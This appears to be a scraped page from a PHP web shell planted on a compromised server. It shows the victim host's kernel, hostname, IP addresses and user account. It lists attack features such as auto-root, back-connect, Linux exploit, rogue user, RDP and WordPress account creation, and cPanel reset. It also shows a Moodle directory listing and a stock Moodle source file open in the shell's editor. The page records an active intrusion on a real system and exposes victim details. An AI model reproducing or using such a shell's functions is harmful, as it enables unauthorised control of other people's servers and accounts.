Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.73
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
admin /
tool /
lp /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
yui
[ DIR ]
drwxr-xr-x
competencies.php
2.96
KB
-rw-rw-r--
competencyframeworks.php
1.93
KB
-rw-rw-r--
coursecompetencies.php
2.06
KB
-rw-r--r--
editcompetency.php
3.4
KB
-rw-r--r--
editcompetencyframework.php
3.01
KB
-rw-r--r--
editplan.php
3.59
KB
-rw-r--r--
edittemplate.php
3.31
KB
-rw-r--r--
learningplans.php
1.7
KB
-rw-r--r--
lib.php
11.33
KB
-rw-rw-r--
plan.php
1.53
KB
-rw-r--r--
plans.php
1.48
KB
-rw-r--r--
settings.php
1.78
KB
-rw-r--r--
styles.css
6.74
KB
-rw-rw-r--
template_cohorts.php
4.56
KB
-rw-r--r--
template_plans.php
3.31
KB
-rw-r--r--
templatecompetencies.php
2.05
KB
-rw-r--r--
upgrade.txt
706
B
-rw-r--r--
user_competency.php
2.38
KB
-rw-r--r--
user_competency_in_course.php
3.65
KB
-rw-r--r--
user_competency_in_plan.php
2.55
KB
-rw-r--r--
user_evidence.php
1.56
KB
-rw-r--r--
user_evidence_edit.php
4.31
KB
-rw-r--r--
user_evidence_list.php
1.53
KB
-rw-r--r--
version.php
1.1
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user_competency_in_course.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * User competency page. Lists everything known about a user competency. * * @package tool_lp * @copyright 2015 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require(__DIR__ . '/../../../config.php'); $userid = optional_param('userid', 0, PARAM_INT); $competencyid = required_param('competencyid', PARAM_INT); $courseid = required_param('courseid', PARAM_INT); require_login(null, false); if (isguestuser()) { throw new require_login_exception('Guests are not allowed here.'); } \core_competency\api::require_enabled(); $course = $DB->get_record('course', array('id' => $courseid)); $context = context_course::instance($courseid); $currentgroup = groups_get_course_group($course, true); if (empty($userid)) { $gradable = get_enrolled_users($context, 'moodle/competency:coursecompetencygradable', $currentgroup, 'u.id', null, 0, 1); if (empty($gradable)) { $userid = 0; } else { $userid = array_pop($gradable)->id; } } else { $gradable = get_enrolled_users($context, 'moodle/competency:coursecompetencygradable', $currentgroup, 'u.id'); if (count($gradable) == 0) { $userid = 0; } else if (!in_array($userid, array_keys($gradable))) { $userid = array_shift($gradable)->id; } } $params = array('userid' => $userid, 'competencyid' => $competencyid, 'courseid' => $courseid); $url = new moodle_url('/admin/tool/lp/user_competency_in_course.php', $params); if ($userid > 0) { $usercontext = context_user::instance($userid); $user = $DB->get_record('user', array('id' => $userid)); } $competency = new \core_competency\competency($competencyid); // Does a permissions check for us. if ($userid > 0) { $usercompetencycourses = \core_competency\api::list_user_competencies_in_course($courseid, $userid); } $subtitle = $competency->get('shortname') . ' <em>' . $competency->get('idnumber') . '</em>'; list($title, $subtitle) = \tool_lp\page_helper::setup_for_course($url, $course, $subtitle); $output = $PAGE->get_renderer('tool_lp'); if ($userid > 0) { $userheading = array( 'heading' => fullname($user), 'user' => $user, 'usercontext' => $usercontext ); } echo $output->header(); if ($userid > 0) { echo $OUTPUT->context_header($userheading, 3); } $baseurl = new moodle_url('/admin/tool/lp/user_competency_in_course.php'); $nav = new \tool_lp\output\user_competency_course_navigation($userid, $competencyid, $courseid, $baseurl); echo $output->render($nav); if ($userid > 0) { $page = new \tool_lp\output\user_competency_summary_in_course($userid, $competencyid, $courseid); echo $output->render($page); // Trigger the viewed event. $uc = \core_competency\api::get_user_competency_in_course($courseid, $userid, $competencyid); \core_competency\api::user_competency_viewed_in_course($uc, $courseid); } else { echo $output->container('', 'clearfix'); echo $output->notify_problem(get_string('noparticipants', 'tool_lp')); } echo $output->footer();
Close